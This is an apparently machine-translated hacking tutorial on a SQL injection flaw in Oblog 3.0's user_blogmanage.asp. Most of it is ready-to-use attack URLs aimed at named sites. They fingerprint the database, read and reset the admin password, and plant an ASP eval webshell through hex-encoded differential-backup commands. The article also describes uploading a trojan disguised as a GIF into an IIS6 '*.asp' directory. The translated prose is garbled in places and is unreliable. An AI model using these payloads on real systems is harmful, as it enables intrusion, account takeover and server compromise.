Oblog3.0 Vulnerability Exposure _ Vulnerability Research

Seen the sixth round of the Black Defense Laboratory Two heroes of the Oblog3.0 Access version of the infiltration process, admiration of the situation like the surging river, and the water as the Yellow River is out of control, especially they put the social engineering principles used incisively, and clever backstage upload shell method. Admire, admire. Said so much nonsense, we get to the point, I read through the Oblog3.0 code when found user_blogmanage.asp file security risks, see the following Mobile blog log operation code:
Sub Moveblog ()
If id= "" Then
OBLOG.ADDERRSTR ("Please specify the log to move")
Oblog.showusererr
Exit Sub
End If
Dim Subjectid
Subjectid=trim (Request ("subject"))
If subjectid= "" Then
OBLOG.ADDERRSTR ("Please specify the target topic to move")
Oblog.showusererr
Exit Sub
Else
SUBJECTID=CLNG (Subjectid)
End If
If InStr (ID, ",") >0 Then
' If the ID variable contains a comma, remove the space in the variable and execute the following SQL statement. Set to the first article
Id=replace (ID, "", "")
Sql= "Update [Oblog_log] set subjectid=" &subjectid& "where Logid in (" & ID & ")" &wsql
' Otherwise execute this SQL statement, set to the second rule.
Else
Sql= "Update [Oblog_log] set subjectid=" &subjectid& "where logid=" & ID &wsql
End If
Oblog.execute SQL
Dim blog,rs1
Set Blog=new Class_blog
Blog.userid=oblog.logined_uid
Blog.update_allsubjectid ()
Blog.update_index_subject 0,0,0, ""
Set blog=nothing
Set Rs=oblog.execute ("Select Subjectid from Oblog_subject where userid=" &oblog.logined_uid)
While not rs.eof
Set Rs1=oblog.execute ("SELECT count (logid) from Oblog_log where oblog_log.subjectid=" &rs (0))
Oblog.execute ("Update oblog_subject set subjectlognum=" &rs1 (0) & "where oblog_subject.subjectid=" &rs (0))
Rs.movenext
Wend
Set rs=nothing
Set rs1=nothing
Oblog.showok "Update the project successfully, the need to redistribute the home page, to make the topic statistics accurate!", "
End Sub
Then look at the top of the file to filter the ID variable: id=oblog.filt_badstr (Trim (Request ("id")), using only this statement, the function code is as follows:
Public function filt_badstr (str)
If Isnull (STR) Then
Filt_badstr = ""
Exit Function
End If
STR = Replace (STR,CHR (0), "")
Filt_badstr = Replace (Str, "'", "" ")
End Function
Only remove the only and single quotes, oh, how can this prevent our injection attack, find a site using Oblog3.0 SQL version His experiment: constructs the Environment Test statement: Http://www.boyqs.bloger.com.cn/user_ blogmanage.asp?action=move&subject=1&id=@ @version)--, Be sure to pay attention to the "'" at the back of the statement, otherwise it will not succeed.
The above injection we choose is the first statement, many restrictions, that is, you can not use the space and submitted statements to contain commas. We can use/**/instead of spaces. Because of the restrictive conditions, we control the execution of the second statement in the following tests. Further environmental spying:
Http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_name () >0--
Http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_user>0--。
Hey, test success, because the injection statement can not contain single quotes, the Battle of course we can easily rao this limit, I like to use the CHAR function in SQL Rao, just on the hand of the study of the dynamic system write the char coding tool, first look at the Oblog database table structure, in the Oblog_ The admin table we are interested in only Id,username and password fields, first burst out the Admin user or ID unique Administrator account password to see:
Http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1= (select password from oblog_ admin where id=1)--or
Http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1= (select password from oblog_ admin where Username=char (0x61)%2bchar (0x64)%2bchar (0x6d)%2bchar (0x69)%2bchar (0x6e))--
where char (0x61)%2bchar (0x64)%2bchar (0x6d)%2bchar (0x69)%2bchar (0x6e) is encoded with the CHAR function for the submitted admin. Returns the result.
We first write down this encrypted string and need to use it again when restoring the admin password. To modify the password for the background administrator:
Http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1;update [Oblog_admin] Set password= char (0x34)%2bchar (0x36)%2bchar (0x39)%2bchar (0x65)%2bchar (0x38)%2bchar (0x30)%2bchar (0x64)%2bchar (0x33)%2Bchar ( 0x32)%2bchar (0x63)%2bchar (0x30)%2bchar (0x35)%2bchar (0x35)%2bchar (0x39)%2bchar (0x66)%2bchar (0x38) where id=1--
of which char (0x34)%2bchar (0x36)%2bchar (0x39)%2bchar (0x65)%2bchar (0x38)%2bchar (0x30)%2bchar (0x64)%2bchar (0x33) 2Bchar (0x32)%2bchar (0x63)%2bchar (0x30)%2bchar (0x35)%2bchar (0x35)%2bchar (0x39)%2bchar (0x66)%2bchar (0x38) is the encoding of the 469E80D32C0559F8 string, the 469E80D32C0559F8 corresponding MD5 plaintext is admin888, and the encoding of the string can be used with the following tools.
Of course, everyone must have better tools than that. This allows us to change the password of the admin with a background ID of 1 to admin888, and note that the admin account with ID 1 defaults to admin if you are unsure, you can use the following statement to view:
Http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1= (select username from Oblog_ admin where id=1)-
After the modification, log in to see if the admin password was successfully modified. Good, we've got the backstage admin authority, cool. Do not be happy too early, although we entered the background but the SQL version is different from the Access version, the previous two heroes introduced by the backup database to obtain Webshell method in the SQL version is not workable, look at the Admin_ Database.asp The following code you will understand:
Dim DBPath
Dim objinstalled
If not IsObject (conn) then Link_database
If Is_sqldata=0 then Dbpath=server.mappath (db)
If you are using an Access version to initialize the DBPath parameter.
Here I give you a few examples of how SQL versions get Webshell.
First of all, a more general approach to the use of SQL Server features, through xp_cmdshell, using OLE Object interface, using sp_makewebtask, incremental backup, and so on. A necessary condition to take advantage of these methods: the Web physical path can be easily retrieved from the Admin home page in the background. For specific injection statements, you can refer to the relevant code in Uploadshell.exe. Note The single quotes that are handled in the implementation. The program can automatically get cookie information in IE. Therefore, no need to fill out cookie information.
About the use of the background function upload shell, I really hard for a long time, think of the head is big, just Start method is Angel doll their idea is the same add a shtm upload file type, Will be included in the conn.asp, so you can only see the database connection information, if the other side has a firewall or permissions are not very high can not get the shell, and then come up with adding aaspsp/and asp/upload file types, so by modifying the packet prompts upload success, But did not really upload success, is very depressed. During the holidays, there is not so much time to find out why, when suddenly saw in the background can set user directory, this time suddenly remember the Internet once circulated to the WINDOWS2003 system and IIS6.0 assumed that the Web platform has a feature, is * *. The ASP virtual directory of any extension of the file will be interpreted as an ASP file to execute, think of here almost excited to jump up, hehe. See the action: in the background General settings | User Directory Management to create a new **.asp directory. and set this directory as the default directory, as shown in the figure above. Then go to the website to register a new user, then go to the Management Center, select albums, Upload an ASP trojan fake GIF file. So when we visit this GIF file, IIS resolves the file as an ASP file, and I did a test on my computer using the Access version to find that I could upload the file. However, when the SQL version of the test found that does not correctly upload files to this directory, the following error message appears:
ADODB. Stream error ' 800A0BBC '
Failed to write to file.
/inc/upload.inc, Line 312
Although not successful, but this is our backstage upload trojan good method, because most of the ASP whole station program in the background to allow the background to modify the upload directory, such as the dynamic system. No way, we can only use the first method, start.
First step:
Http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a Sysname;declare @s nvarchar (4000); select @a=db_name (); Select @s=0x77006f006b0061006f002e00620061006b00;backup Database @a to disk=@s--
Note that in the statement must not contain single quotes,
Step Two:
Http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;create table [dbo]. [Llikz] ([cmd] [image])-
Step Three:
Http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;insert into Llikz (cmd) VALUES ( 0x3c25657865637574652872657175657374282261222929253e)-
Note where 0x3c25657865637574652872657175657374282261222929253e is
Fourth Step:
Http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare
@a sysname;declare @s nvarchar (4000) select @a=db_name (); Select @s= 0x66003a005c0062006c006f00670032003000300035005c0062006c006f006700730065
0072007600650072005c006c006c0069006b007a002e00610073007000;backup Database
@a to disk=@s with differential-
One of the 0x66003a005c0062006c006f00670032003000300035005c0062006c006f006700730065007
2007600650072005c006c006c0069006b007a002e00610073007000 is the physical path of the web that you get in the background.
Using incremental backups requires only public permissions, which should be the best way to get Webshell from the Oblog 3.0 SQL version. If you feel the operation is very complicated, then do not need to upload Webshell, into the background to change their account for the VIP user, or the upload space modified to 100000000KB, blog as a network flash drive is also good, hehe. Due to the popularity of Oblog on the internet, loopholes are very harmful, we do not mess up the damage Oh.